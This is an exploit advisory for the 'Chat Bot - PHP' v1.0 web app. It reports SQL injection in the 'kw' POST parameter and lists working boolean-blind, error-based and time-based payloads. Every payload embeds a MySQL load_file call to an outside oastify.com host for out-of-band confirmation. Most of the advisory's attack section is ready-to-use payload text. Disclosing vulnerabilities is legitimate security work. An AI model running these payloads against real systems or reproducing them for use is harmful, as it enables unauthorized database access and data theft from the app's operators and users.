Chat Bot version 1.0 suffers from a remote SQL injection vulnerability.
49ddf48680164af066978efabddac4f15a73ca97d2e553446260cc4ca68b75d9
## Titles: Chat Bot - PHP (by: oretnom23 ) v1.0 Multiple SQLi
## Author: nu11secur1ty
## Date: 05/22/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `kw` parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+' was submitted
in the kw parameter. This payload injects a SQL sub-query that calls
MySQL's load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed. The attacker can get all
information from the system by using this vulnerability!
STATUS: HIGH- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: kw (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: kw=Write your query here'+(select load_file('\\\\
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') OR NOT
5452=5452-- yJrL
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: kw=Write your query here'+(select load_file('\\\\
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT
6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT
(ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ugYc
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: kw=Write your query here'+(select load_file('\\\\
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT
3334 FROM (SELECT(SLEEP(7)))MjoP)-- WPgB
---
```
## Reproduce:
[href](https://www.patreon.com/posts/chat-bot-php-by-104709713)
## Proof and Exploit:
[href](
https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli_22.html
)
## Time spent:
01:19:00